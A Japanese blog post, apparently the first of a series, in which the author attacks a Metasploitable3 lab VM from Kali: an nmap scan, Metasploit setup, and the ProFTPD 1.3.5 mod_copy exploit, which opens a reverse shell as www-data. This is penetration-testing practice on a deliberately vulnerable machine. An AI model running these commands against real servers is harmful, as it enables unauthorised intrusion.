Metasploitable3の脆弱性を突いてみる その1
今まで、研究では結構触ってきてたのと、Web上にもいろいろ情報が多くあること、Kali-linuxと一緒にテスト環境に使われていたりなどしていることもあって、Metasploitable「2」はかなり詳しくなってるしコンテナで仮想マシンとほぼ遜色ない環境は作れているのですが、Metasploitable「3」はずっと手を出してなかったです。今回いろいろやってみたこともあり、せっかくなのでちょっと纏めてみようと思います。
Win環境はWSL2とか、Windowsサンドボックスとか、注目の機能はあれど現状では完全コンテナ化は難しいので、やりたいこととは直接関係無いので今回はubnutuのイメージのほうでやっています。
環境
Mac上のVirtualBoxでMetasploitable3とKali linuxを稼働させてます。KaliのGUIは久々に見ましたが、なんかちょっと可愛くなりましたか・・・?Metasploitable3の導入は過去記事に書いたので省略。クイックスタートもあるし大丈夫かと思いますがどうでしょうか。
全然関係無いけど、WindowsでHyper-V有効になってるとVirtualBoxうまくうごかないのはVirtualBox6.0以降で解消されるんじゃなかったっけ。さっきできなかった。Docker Desktop for Windows入れた後にVirtualBox立ち上げようとしてエラーになってビビりました。余談。
Nmapポートスキャン
とりあえず、Kaliのターミナルからnmapでポートスキャンして、どんなものが動いてるか調査していきます。xmlで保存してmetasploitで読み込めるようにしておこうと思います。
kali@kali:~$ nmap -sV -Pn -T4 -p 1-65535 -oX metasploitable3.xml 172.28.128.3
最後のIPが対象のMetasploitable3マシンになります。結果はこちら。
思ったより少ない・・・?構築方法間違ってるかな。その可能性もありますが、とりあえず今のこの状況で攻められるところを攻めてしまいましょう。おらおら!
Metasploit準備
早く攻撃したい気持ち(?)を鎮めて、前準備でMetasploitフレームワークのDB初期化ってのをやっておきます。
kali@kali:~$ sudo msfdb init
We trust you have received the usual lecture from the local System
administrator. It usually boils down to these three things:
#1) Respect the privacy others.
#2) Think before you type.
#3) With great power comes great responibility.
[sudo]password for kali:
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
そんで、Metasploit起動させてみます。
kali@kali:~$ msfconsole
+-------------------------------------------------------+
| METASPLOIT by Rapid7 |
+---------------------------+---------------------------+
| __________________ | |
| ==c(______(o(______(_() | |""""""""""""|======[*** |
| )=\ | | EXPLOIT \ |
| // \\ | |_____________\_______ |
| // \\ | |==[msf >]============\ |
| // \\ | |______________________\ |
| // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ |
| // \\ | ********************* |
+---------------------------+---------------------------+
| o O o | \'\/\/\/'/ |
| o O | )======( |
| o | .' LOOT '. |
| |^^^^^^^^^^^^^^|l___ | / _||__ \ |
| | PAYLOAD |""\___, | / (_||_ \ |
| |________________|__|)__| | | __||_) | |
| |(@)(@)"""**|(@)(@)**|(@) | " || " |
| = = = = = = = = = = = = | '--------------' |
+---------------------------+---------------------------+
=[ metasploit v5.0.71-dev ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 >
無事起動したので、先ほどのポートスキャンした結果をDBに読み込んでおきます。
msf5 > db_import metasploitable3.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.7'
[*] Importing host 172.28.128.3
[*] Successfully imported /home/kali/metasploitable3.xml
msf5 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.28.128.3 Unknown device
msf5 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.28.128.3 21 tcp ftp open ProFTPD 1.3.5
172.28.128.3 22 tcp ssh open OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; protocol 2.0
172.28.128.3 80 tcp http open Apache httpd 2.4.7
172.28.128.3 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
172.28.128.3 631 tcp ipp open CUPS 1.7
172.28.128.3 3000 tcp ppp closed
172.28.128.3 3306 tcp mysql open MySQL unauthorized
172.28.128.3 3500 tcp http open WEBrick httpd 1.3.1 Ruby 2.3.7 (2018-03-28)
172.28.128.3 6697 tcp irc open UnrealIRCd
172.28.128.3 8181 tcp http open WEBrick httpd 1.3.1 Ruby 2.3.7 (2018-03-28)
msf5 >
ちゃんと読み込めているようです。
01_ProFTPD 1.3.5
上から順番に行ってみようかなということで、ポート21で実行中のProFTPD 1.3.5に対して調べてみます。
msf5 > search proftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
1 exploit/linux/ftp/proftp_sreplace 2006-11-26 great Yes ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2 exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
3 exploit/linux/misc/netsupport_manager_agent 2011-01-08 average No NetSupport Manager Agent Remote Buffer Overflow
4 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No ProFTPD-1.3.3c Backdoor Command Execution
5 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution
いくつかモジュールが出てきましたが、Descriptionの項目見ると、このバージョンで対象になるのは一番下のものみたいですね。ちなみにこういう脆弱性だそうです。
Metasploit Moduleはこれ
使うモジュールを選んで、必要なオプションを確認します。
msf5 > use exploit/unix/ftp/proftpd_modcopy_exec
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > show options
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes HTTP port (TCP)
RPORT_FTP 21 yes FTP port
SITEPATH /var/www yes Absolute writable website path
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to the website
TMPPATH /tmp yes Absolute writable path
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 ProFTPD 1.3.5
RHOSTSとSITEPATHあたりを設定してあげたら行けそうですね。
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
実行してみます。実行のコマンドっていくつかあったはずですが、私はなんか「exploit」って入れるのが好きです。脳内で掛け声っぽく再生されてる。呪文唱えるみたいな?
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 172.28.128.7:4444
[*] 172.28.128.3:80 - 172.28.128.3:21 - Connected to FTP server
[*] 172.28.128.3:80 - 172.28.128.3:21 - Sending copy commands to FTP server
[*] 172.28.128.3:80 - Executing PHP payload /tn11NKJ.php
[*] Command shell session 1 opened (172.28.128.7:4444 -> 172.28.128.3:60031) at 2020-02-12 00:54:48 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -n
metasploitable3-ub1404
id、whoami、uname -nあたりで見ると、metasploitable3のマシンにwww-dataユーザとして入り込めてるのがわかります!!ざわざわ。
基本的なやり方はこんな感じだと思いまが、目的としてはこれと全く同じことをコンテナでもできるようにしておくことなので、あくまでここは調査段階にはなります。でも自分用メモとしてnmapのスキャンで出てきたものは全部できるようにしようと思います。
これ全部やったらちょっとした本ぐらいになるかな。